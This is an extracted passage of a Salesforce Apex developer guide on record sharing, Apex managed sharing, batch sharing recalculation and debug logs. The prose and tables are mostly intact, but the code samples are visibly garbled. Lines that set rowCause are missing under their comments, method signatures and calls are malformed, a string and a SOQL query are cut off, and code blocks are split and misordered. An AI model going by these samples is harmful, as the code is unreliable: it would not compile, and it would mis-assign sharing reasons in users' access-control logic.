• In the event of a catastrophic failure such as a service outage, any operations in progress are marked as Failed. You should run the batch job again to correct any errors.
• When a batch Apex job is run, email notifications are sent either to the user who submitted the batch job, or, if the code is included in a managed package and the subscribing organization is running the batch job, the email is sent to the recipient listed in the **Apex Exception Notification Recipient** field.
• Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
• Each batch Apex invocation creates an `AsyncApexJob` record. Use the ID of this record to construct a SOQL query to retrieve the job's status, number of errors, progress, and submitter. For more information about the `AsyncApexJob` object, see **AsyncApexJob** in the *Web Services API Developer's Guide*.
• All methods in the class must be defined as `global`.
• For a sharing recalculation, Salesforce recommends that the `execute` method delete and then re-create all Apex managed sharing for the records in the batch. This ensures the sharing is accurate and complete.

See Also:
- Exception Statements
- Understanding Execution Governors and Limits
- Understanding Sharing

### Understanding Apex Managed Sharing

*Sharing* is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.

This section provides an overview of sharing using Apex:

- Understanding Sharing
- Sharing a Record Using Apex
- Recalculating Apex Managed Sharing

For more information on sharing, see “Setting Your Organization-Wide Sharing Defaults” in the Salesforce online help.

### Understanding Sharing

*Sharing* enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity, and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.

### Types of Sharing

Salesforce has the following types of sharing:
Force.com Managed Sharing

Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and sharing rules:

**Record Ownership**

Each record is owned by a user (or optionally a queue for custom objects, cases and leads). The *record owner* is automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record.

**Role Hierarchy**

The *role hierarchy* enables users above another user in the hierarchy to have the same level of access to records owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in the Salesforce online help.

**Sharing Rules**

*Sharing rules* are used by administrators to automatically grant users within a given group or role access to records owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed from Force.com AppExchange.

All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, Web services API, or Apex.

User Managed Sharing, also known as Manual Sharing

User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level.

Apex Managed Sharing

Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements programmatically with Apex. This type of sharing is similar to Force.com managed sharing, only the application developer manages this sharing using Apex. Only users with “Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.

**Note:** Apex managed sharing is only available for custom objects.

The Sharing Reason Field

In the Salesforce user interface, the *Reason* field on a custom object specifies the type of sharing used for a record. This field is called *rowCause* in Apex or the Force.com API.

Each of the following list items is a type of sharing used for records. The tables show *Reason* field value, and the related *rowCause* value.

- Force.com Managed Sharing

<table>
<thead>
<tr>
<th>Reason Field Value</th>
<th>rowCause Value (Used in Apex or the Force.com API)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Sharing</td>
<td>ImplicitChild</td>
</tr>
</tbody>
</table>
**Reason Field Value** | **rowCause Value (Used in Apex or the Force.com API)**
--- | ---
Associated record owner or sharing | ImplicitParent
Owner | Owner
Sales Team | Team
Sharing Rule | Rule
Territory Assignment Rule | TerritoryRule

- **User Managed Sharing**

<table>
<thead>
<tr>
<th>Reason Field Value</th>
<th>rowCause Value (Used in Apex or the Force.com API)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Manual Sharing</td>
<td>Manual</td>
</tr>
<tr>
<td>Territory Manual</td>
<td>TerritoryManual</td>
</tr>
</tbody>
</table>

- **Apex Managed Sharing**

<table>
<thead>
<tr>
<th>Reason Field Value</th>
<th>rowCause Value (Used in Apex or the Force.com API)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Defined by developer</td>
<td>Defined by developer</td>
</tr>
</tbody>
</table>

The displayed reason for Apex managed sharing is defined by the developer.

**Access Levels**

When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following access levels:

<table>
<thead>
<tr>
<th>Access Level</th>
<th>API Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>None</td>
<td>Only the record owner and users above the record owner in the role hierarchy can view and edit the record. This access level only applies to the AccountShare object.</td>
</tr>
<tr>
<td>Read Only</td>
<td>Read</td>
<td>The specified user or group can view the record only.</td>
</tr>
<tr>
<td>Read/Write</td>
<td>Edit</td>
<td>The specified user or group can view and edit the record.</td>
</tr>
</tbody>
</table>
| Full Access  | All      | The specified user or group can view, edit, transfer, share, and delete the record. **Note:** This access level can only be granted with Force.com managed sharing.
Sharing a Record Using Apex

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact object, and so on. In addition, all custom object sharing objects are named as follows, where `MyCustomObject` is the name of the custom object:

```
MyCustomObject__Share
```

Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record's access is determined by the master's sharing object and the relationship's sharing setting. For more information, see “Custom Object Security” in the Salesforce online help.

A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and profile permissions such as the “View All” and “Modify All” object-level permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object.

Every share object has the following properties:

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>objectNameAccessLevel</td>
<td>The level of access that the specified user or group has been granted for a share sObject. The name of the property is AccessLevel appended to the object name. For example, the property name for LeadShare object is LeadShareAccessLevel. Valid values are:</td>
</tr>
<tr>
<td></td>
<td>• Edit</td>
</tr>
<tr>
<td></td>
<td>• Read</td>
</tr>
<tr>
<td></td>
<td>• All</td>
</tr>
<tr>
<td>Note:</td>
<td>The All access level can only be used by Force.com managed sharing.</td>
</tr>
<tr>
<td></td>
<td>This field must be set to an access level that is higher than the organization's default access level for the parent object. For more information, see Access Levels on page 165.</td>
</tr>
<tr>
<td>ParentID</td>
<td>The ID of the object. This field cannot be updated.</td>
</tr>
<tr>
<td>RowCause</td>
<td>The reason why the user or group is being granted access. The reason determines the type of sharing, which controls who can alter the sharing record. This field cannot be updated.</td>
</tr>
<tr>
<td>UserOrGroupId</td>
<td>The user or group IDs to which you are granting access. A group can be a public group, role, or territory. This field cannot be updated.</td>
</tr>
</tbody>
</table>

You can share a standard or custom object with users or groups. For more information about the types of users and groups you can share an object with, see User and Group in the Web Services API Developer's Guide.

Creating User Managed Sharing Using Apex

It is possible to manually share a record to a user or a group using Apex. If the owner of the record changes, the sharing is automatically deleted. The following class provides an example:

```java
public class JobSharing {
    static boolean manualShareRead(Id recordId, Id userOrGroupId){
        // Create new sharing object for the custom object Job.
        Job__Share jobShr = new Job__Share();
```
// Set the ID of record being shared.
jobShr.ParentId = recordId;

// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;

// Set the access level.
jobShr.AccessLevel = 'Read';

// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.

// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);

// Process the save results.
if(sr.isSuccess()){
    // Indicates success
    return true;
} else {
    // Get first save result error.
    Database.Error err = sr.getErrors()[0];

    // Check if the error is related to trivial access level.
    // Access levels equal or more permissive than the object's default
    // access level are not allowed.
    // These sharing records are not required and thus an insert exception is acceptable.
    if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
       err.getMessage().contains('AccessLevel')){
        // Indicates success.
        return true;
    } else{
        // Indicates failure.
        return false;
    }
}

// Test for the manualShareRead method
static testMethod void testManualShareRead(){
    // Select users for the test.
    List<User> users = [select id from user where isActive = true limit 2];
    Id user1Id = users[0].Id;
    Id user2Id = users[1].Id;

    // Create new job.
    Job__c j = new Job__c();
    j.Name = 'Test Job';
    j.OwnerId = user1Id;
    insert j;

    // Insert manual share for user who is not record owner.
    System.assertEquals(manualShareRead(j.Id, user2Id), true);

    // Query job sharing records.
    List<Job__Share> jShrs = [select id, userOrGroupId, accessLevel,
        rowCause from job__share where parentId = :j.Id and userOrGroupId= :user2Id];

    // Test for only one manual share on job.
    System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
// Test attributes of manual share.
System.assertEquals(jShrs[0].accessLevel, 'Read');
System.assertEquals(jShrs[0].rowCause, 'Manual');
System.assertEquals(jShrs[0].userOrGroupId, user2Id);

// Test invalid job Id.
delete j;

// Insert manual share for deleted job id.
System.assertEquals(manualShareRead(j.Id, user2Id), false);
}

Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 165.

Creating Apex Managed Sharing

Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior. This type of sharing is similar to Force.com managed sharing, only the application developer manages this sharing using Apex. Only users with “Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.

Note: Apex managed sharing is only available for custom objects.

Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different reasons.

Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:

- The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
- The name is used when referencing the reason in the API and Apex.

All Apex sharing reason names have the following format:

MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:

Schema.CustomObject__Share.rowCause.SharingReason__c

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:

Schema.Job__Share.rowCause.Recruiter__c

For more information, see Schema Methods on page 269.

To create an Apex sharing reason:

1. Click Your Name ➤ Setup ➤ Create ➤ Objects.
2. Select the custom object.
3. Click **New** in the Apex Sharing Reasons related list.
4. Enter a label for the Apex sharing reason. The label displays in the *Reason* column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench.
5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the Force.com API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
6. Click **Save**.

### Apex Managed Sharing Example

The following example presumes that you are building a recruiting application and have a custom object called *Job*. You want the recruiter and hiring manager listed on the job to have full access to the record, similar to the record owner. The following trigger grants the recruiter and hiring manager access when the job record is created:

```java
trigger JobApexSharing on Job__c (after insert) {
    if(trigger.isInsert){
        // Create a new list of sharing objects for Job
        List<Job__Share> jobShrs = new List<Job__Share>();

        // Declare variables for recruiting and hiring manager sharing
        Job__Share recruiterShr;
        Job__Share hmShr;

        for(Job__c job : trigger.new){
            // Instantiate the sharing objects
            recruiterShr = new Job__Share();
            hmShr = new Job__Share();

            // Set the ID of record being shared
            recruiterShr.ParentId = job.Id;
            hmShr.ParentId = job.Id;

            // Set the ID of user or group being granted access
            recruiterShr.UserOrGroupId = job.Recruiter__c;
            hmShr.UserOrGroupId = job.Hiring_Manager__c;

            // Set the access level
            recruiterShr.AccessLevel = 'edit';
            hmShr.AccessLevel = 'read';

            // Set the Apex sharing reason for hiring manager and recruiter

            // Add objects to list for insert
            jobShrs.add(recruiterShr);
            jobShrs.add(hmShr);
        }

        // Insert sharing records and capture save result
        // The false parameter allows for partial processing if multiple records are passed into the operation
        Database.SaveResult[] lsr = Database.insert(jobShrs,false);

        // Create counter
        Integer i=0;

        // Process the save results
        for(Database.SaveResult sr : lsr){
            if(!sr.isSuccess()){
                // Handle failure
            }
        }
    }
}
```
// Get the first save result error
Database.Error err = sr.getErrors()[0];

// Check if the error is related to a trivial access level
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
    err.getMessage().contains('AccessLevel'))){
    // Throw an error when the error is not related to trivial access level.
    trigger.newMap.get(jobShrs[i].ParentId).
    addError('Unable to grant sharing access due to following exception:
            + err.getMessage());
    }
    i++;
}

Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 165.

Recalculating Apex Managed Sharing

Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level is changed. The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is considered redundant. For example, manual sharing which grants Read Only access to a user is deleted when the object’s sharing model is changed from Private to Public Read Only.

To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation. You must then associate the class with the custom object, on the custom object’s detail page, in the Apex Sharing Recalculation related list.

Note: Apex managed sharing recalculations are currently available through a limited release program. For information on enabling Apex managed sharing recalculations for your organization, contact salesforce.com.

You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need to recalculate the Apex managed sharing for an object if a locking issue prevented an Apex script from granting access to a user as defined by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing recalculation.

Note: Every time a custom object’s organization-wide sharing default access level is updated, any Apex recalculation classes defined for associated custom object are also executed.

To monitor or stop the execution of the Apex recalculation, click Your Name ➤ Setup ➤ Monitoring ➤ Apex Jobs. For more information, see “Apex Job Queue” in the Salesforce online help.
Creating an Apex Class for Recalculating Sharing

To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the Salesforce-provided interface `Database.Batchable`.

The `Database.Batchable` interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can implement this interface more than once in your organization. For more information on the methods that must be implemented, see Using Batch Apex on page 156.

Before creating an Apex managed sharing recalculation class, also consider the best practices.

Apex Managed Sharing Recalculation Example

For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation:

```apex
global class JobSharingRecalc implements Database.Batchable<sObject> {

    // The start method is called at the beginning of a sharing recalculation.
    // This method returns a SOQL query locator containing the records to be recalculated.
    // This method must be global.
    global Database.QueryLocator start(Database.BatchableContext BC) {
        return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
                                         FROM Job__c]);
    }

    // The executeBatch method is called for each chunk of records returned from start.
    // This method must be global.
    global void execute(Database.BatchableContext List<sObject> scope) {
        // Create a map for the chunk of records passed into method.
        Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);

        // Create a list of Job__Share objects to be inserted.
        List<Job__Share> newJobShrs = new List<Job__Share>();

        // Locate all existing sharing records for the Job records in the batch.
        // Only records using an Apex sharing reason for this app should be returned.
        List<Job__Share> oldJobShrs = [select id from Job__Share where Id In :jobMap.keySet() and
                                      (rowCause = :Schema.Job__Share.rowCause.Recruiter__c or
                                       rowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];

        // Construct new sharing records for the hiring manager and recruiter
        // on each Job record.
        for(Job__c job : jobMap.values()) {
            Job__Share jobHMShr = new Job__Share();
            Job__Share jobRecShr = new Job__Share();

            // Set the ID of user (hiring manager) on the Job record being granted access.
            jobHMShr.UserOrGroupId = job.Hiring_Manager__c;

            // The hiring manager on the job should always have 'Read Only' access.
            jobHMShr.AccessLevel = 'Read';

            // The ID of the record being shared.
            jobHMShr.ParentId = job.Id;

            // Set the rowCause to the Apex sharing reason for hiring manager.
            // This establishes the sharing record as Apex managed sharing.

            // Add sharing record to list for insertion.
            newJobShrs.add(jobHMShr);
        }

        // Add sharing records to the Job__c records.
        for(Job__c job : jobMap.keySet()) {
            newJobShrs.addNewFor(jobsMap.get(job));
        }

        // Return a query locator containing the newly inserted sharing records.
        return new Database.QueryLocator(newJobShrs);
    }
}
```
// Set the ID of user (recruiter) on the Job record being granted access. 
jobRecShr.UserOrGroupId = job.Recruiter__c;

// The recruiter on the job should always have 'Read/Write' access. 
jobRecShr.AccessLevel = 'Edit';

// The ID of the record being shared. 
jobRecShr.ParentId = job.Id;

// Set the rowCause to the Apex sharing reason for recruiter. 
// This establishes the sharing record as Apex managed sharing. 

// Add the sharing record to the list for insertion. 
newJobShrs.add(jobRecShr);

try {
    // Delete the existing sharing records. 
    // This allows new sharing records to be written from scratch. 
    Delete oldJobShrs;

    // Insert the new sharing records and capture the save result. 
    // The false parameter allows for partial processing if multiple records are 
    // passed into operation. 
    Database.SaveResult[] lsr = Database.insert(newJobShrs,false);

    // Process the save results for insert. 
    for(Database.SaveResult sr : lsr){
        if(!sr.isSuccess()){ 
            // Get the first save result error. 
            Database.Error err = sr.getErrors()[0];

            // Check if the error is related to trivial access level. 
            // Access levels equal or more permissive than the object's default 
            // access level are not allowed. 
            // These sharing records are not required and thus an insert exception 
            // is acceptable. 
            if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
               && err.getMessage().contains('AccessLevel'))){
                // Error is not related to trivial access level. 
                // Send an email to the Apex job's submitter. 
                Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

                String[] toAddresses = new String[] {'admin@yourcompany.com'};
                mail.setToAddresses(toAddresses);
                mail.setSubject('Apex Sharing Recalculation Exception');
                mail.setPlainTextBody
                    ('The Apex sharing recalculation threw the following exception: ' +
                     err.getMessage());
                Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
            }
        }
    }
} catch(DmlException e) {
    // Send an email to the Apex job's submitter on failure. 
    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    String[] toAddresses = new String[] {'admin@yourcompany.com'};
    mail.setToAddresses(toAddresses);
    mail.setSubject('Apex Sharing Recalculation Exception');
    mail.setPlainTextBody
        ('The Apex sharing recalculation threw the following exception: ' +
         e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });

// The finish method is called at the end of a sharing recalculation.
// This method must be global.
global void finish(Database.BatchableContext BC){
    // Send an email to the Apex job's submitter notifying of job completion.
    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    String[] toAddresses = new String[] {'admin@yourcompany.com'};
    mail.setToAddresses(toAddresses);
    mail.setSubject('Apex Sharing Recalculation Completed.' );
    mail/plainTextBody
    ('
The Apex sharing recalculation finished processing');
    Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

public class JobSharingTester {

    // Test for the JobSharingRecalc class.
    static testMethod void testApexSharing(){
        // Instantiate the class implementing Database.Batchable interface.
        JobSharingRecalc recalc = new JobSharingRecalc();

        // Declare variables used in staging an AsyncApexJob object.
        Integer totalItems;
        Integer itemsProcessed;
        Integer errs;

        // Create a new Job for use in test.
        // At least one Job must exist.
        Job__c j = new Job__c();
        j.Name = 'Test Job';
        j.Recruiter__c = UserInfo.getUserId();
        j.Hiring_Manager__c = UserInfo.getUserId();
        insert j;
        Test.startTest();

        // Call the start method from batchable class.
        Database.QueryLocator ql = recalc.start();

        // Test that the start method from the batchable class returned
        // the correct query locator.
        // You must use the QueryLocator.getQuery method to retrieve a string representation
        // of the query.
        System.assertEquals(ql.getQuery(),
            SELECT Id, Hiring_Manager__c, Recruiter__c from Job__c'));

        // Set variables for calling the executeBatch method from the batchable class:
        // Number of chunks in the entire batch execution.
        totalItems = 1;
        // Number of chunks processed in the entire batch execution.
        itemsProcessed = 0;
        // Number of errors in the entire batch execution. Only one error per chunk.
    }

errs = 0;

// Query records that would be returned from the start method chunking
// of the query locator.
// No more than 200 records should be returned.
Map<ID, Job__c> jobMap = new Map<ID, JOB__c>(
    [SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c limit 200]);

// Call the execute method from the batchable class.
recalc.execute(jobMap.values());

// Query jobs are passed in as arguments to the executeBatch method.
// The query returns jobs and related sharing records that were inserted in
// the execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
    (Select Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
    where (rowCause = :Schema.Job__Share.rowCause.Recruiter__c or
    from Job__c WHERE Id In :jobMap.keySet()];

// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
    // A maximum of two Apex managed sharing records should exist for each job.
    System.assertEquals(job.Shares.size() <= 2);

    for(Job__Share jobShr : job.Shares){
        // Test the sharing record for hiring manager on job.
        if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
            System.assertEquals(jobShr.UserOrGroupId, job.Hiring_Manager__c);
            System.assertEquals(jobShr.AccessLevel,'Read');
        }
        // Test the sharing record for recruiter on job.
            System.assertEquals(jobShr.UserOrGroupId, job.Recruiter__c);
            System.assertEquals(jobShr.AccessLevel,'Edit');
        }
    }
}

// Set variables for calling the finish method from the batchable class:
// Number of chunks in the entire batch execution.
totalItems = 1;
// Number of chunks processed in the entire batch execution.
itemsProcessed = 1;
// Number of errors in the entire batch execution. Only one error per chunk.
errs = 0;

// Call the finish method from the batchable class.
recalc.finish();
Test.stopTest();


Associating an Apex Class Used for Recalculation

An Apex class used for recalculation must be associated with a custom object.

To associate an Apex managed sharing recalculation class with a custom object:

1. Click Your Name ➤ Setup ➤ Create ➤ Objects.
2. Select the custom object.
3. Click New in the Apex Sharing Recalculations related list.
4. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the `Database.Batchable` interface. You cannot associate the same Apex class multiple times with the same custom object.

5. Click **Save**.
In this chapter ...

- Understanding the Debug Log
- Handling Uncaught Exceptions
- Understanding Execution Governors and Limits
- Using Governor Limit Email Warnings

Apex provides the following support for debugging code:

- Understanding the Debug Log and the Using the System Log Console—tools for debugging code
- Handling Uncaught Exceptions—user-friendly error messages and stack traces
- Understanding Execution Governors and Limits—prevent runaway scripts from monopolizing shared resources
- Using Governor Limit Email Warnings—used with the governor limits
Understanding the Debug Log

A debug log records database operations, system processes, and errors that occur when executing a transaction or while running unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter criteria.

You can retain and manage the debug logs for specific users.

To view saved debug logs, click Your Name ➤ Setup ➤ Monitoring ➤ Debug Logs.

The following are the limits for debug logs:

- Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten.
- Each debug log can only be 2 MB.
- Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten.

**Debug Log Details**

After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However, the format for a debug is always the same.

A debug log has the following sections:

**Header**

The header contains the following information:

- The version of the API used during the transaction.
- The log category and level used to generate the log. For example:

```
18.0 DB,INFO;WORKFLOW,INFO;VALIDATION,INFO;CALLOUT,INFO;APEX_CODE,INFO;
APEX_PROFILING,INFO
```

In this example, the API version is 18.0, and the following debug log categories and levels have been set:

<table>
<thead>
<tr>
<th>Category</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>Database</td>
<td>INFO</td>
</tr>
<tr>
<td>Workflow</td>
<td>INFO</td>
</tr>
<tr>
<td>Validation</td>
<td>INFO</td>
</tr>
<tr>
<td>Callout</td>
<td>INFO</td>
</tr>
<tr>
<td>Apex Code</td>
<td>INFO</td>
</tr>
<tr>
<td>Apex Profiling</td>
<td>INFO</td>
</tr>
</tbody>
</table>
Execution Units

An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution is delimited by EXECUTION_START and EXECUTION_FINISHED.

Code Units

A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method, or a validation rule.

Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can imbed other units of work. For example:

```
EXECUTION_STARTED
CODE_UNIT_STARTED || [EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED || [EXTERNAL]MyTrigger on Account trigger event BeforeInsert for null
CODE_UNIT_FINISHED  <-- The trigger ends
CODE_UNIT_FINISHED  <-- The executeAnonymous ends
EXECUTION_FINISHED
```

Units of code include, but are not limited to, the following:

- Triggers
- Workflow invocations and time-based workflow
- Validation rules
- Approval processes
- Apex lead convert
- @future method invocations
- Web service invocations
- executeAnonymous calls
- Visualforce property accesses on Apex controllers
- Visualforce actions on Apex controllers
- Execution of the batch Apex start and finish methods, as well as each execution of the execute method
- Execution of the Apex System.Schedule execute method
- Incoming email handling

Log Lines

Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically written to the debug log. For example:

Figure 8: Debug Log Line Example

Log lines are made up of a set of fields, delimited by a pipe (|). The format is:

- Timestamp—specified in the user’s time zone, of the format HH:mm:ss.SSS
• Event identifier—the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.

Additional Log Data
In addition, the log contains the following information:

• Cumulative resource usage—Logged at the end of many code units, such as triggers, executeAnonymous, batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.

• Cumulative profiling information—Logged once at the end of the transaction. Contains information about the most expensive queries (that used the most resources), DML invocations, and so on.

The following is an example debug log:

```
20.0 APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;
VALIDATION,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:34:41.158|EXECUTION_STARTED
16:34:41.158|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:34:41.161|LIMIT_USAGE_FOR_NS|[1]|SCRIPT_STATEMENTS|1|200000
16:34:41.161|METHOD_ENTRY|[1]|System.debug(ANY)
16:34:41.161|USER_DEBUG|[1]|DEBUG|Hello World!
16:34:41.162|METHOD_EXIT|[1]|System.debug(ANY)
16:34:41.162|CUMULATIVE_LIMIT_USAGE
16:34:41.162|LIMIT_USAGE_FOR_NS|SeattleTea|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 10000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 100
Number of DML rows: 0 out of 10000
Number of script statements: 1 out of 200000
Maximum heap size: 0 out of 3000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 100
Number of record type describes: 0 out of 100
Number of child relationships describes: 0 out of 100
Number of picklist describes: 0 out of 100
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 10
Number of System.runAs() invocations: 0 out of 20
16:34:41.162|CUMULATIVE_LIMIT_USAGE_END
16:34:41.162|CODE_UNIT_FINISHED|execute_anonymous_apex
16:34:41.162|EXECUTION_FINISHED
```

Using the System Log Console

The System Log console is a separate window that displays debugging information, as well as its cumulative limits and source code. It can be considered a context-sensitive execution viewer, showing the source of an operation, what triggered that operation, and what occurred afterward. Use the System Log console to view debug logs that include database events, Apex processing, workflow, and validation logic. Access the System Log console from the Salesforce user interface by clicking Your Name ➤ System Log in the upper right corner of any page.
To learn about the different sections of the System Log console, see “System Log Console Sections” in the Salesforce online help.

To learn more about some typical ways you might use the System Log console, for example, evaluating Visualforce pages, tracking DML in your transaction or monitoring performance, see “Using the System Log Console” in the Salesforce online help.

When using the System Log console or monitoring a debug log, you can specify the level of information that gets included in the log.

**Log category**

The type of information logged, such as information from Apex or workflow rules.

**Log level**

The amount of information logged.

**Event type**

The combination of log category and log level that specify which events get logged. Each event can log additional information, such as the line and character number where the event started, fields associated with the event, duration of the event in milliseconds, and so on.

**Debug Log Categories**

You can specify the following log categories. The amount of information logged for each category depends on the log level:
### Log Category

<table>
<thead>
<tr>
<th>Log Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Database</td>
<td>Includes information about database activity, including every data manipulation language (DML) statement or inline SOQL or SOSL query.</td>
</tr>
<tr>
<td>Workflow</td>
<td>Includes information for workflow rules, such as the rule name, the actions taken, and so on.</td>
</tr>
<tr>
<td>Validation</td>
<td>Includes information about validation rules, such as the name of the rule, whether the rule evaluated true or false, and so on.</td>
</tr>
<tr>
<td>Callout</td>
<td>Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls.</td>
</tr>
<tr>
<td>Apex Code</td>
<td>Includes information about Apex code and can include information such as log messages generated by calls to the System.debug method, DML statements, inline SOQL or SOSL queries, the start and completion of any triggers, and the start and completion of any test method, and so on.</td>
</tr>
<tr>
<td>Apex Profiling</td>
<td>Includes cumulative profiling information, such as the limits for your namespace, the number of emails sent, and so on.</td>
</tr>
</tbody>
</table>

### Debug Log Levels

You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels.

**Note:** Not all levels are available for all categories: only the levels that correspond to one or more events.

- ERROR
- WARN
- INFO
- DEBUG
- FINE
- FINER
- FINEST

### Debug Event Types

The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is `timestamp | event identifier`:

```
18:34.41.161 | USER_DEBUG| [1]| DEBUG| HelloWorld
```

**Figure 10: Debug Log Line Example**

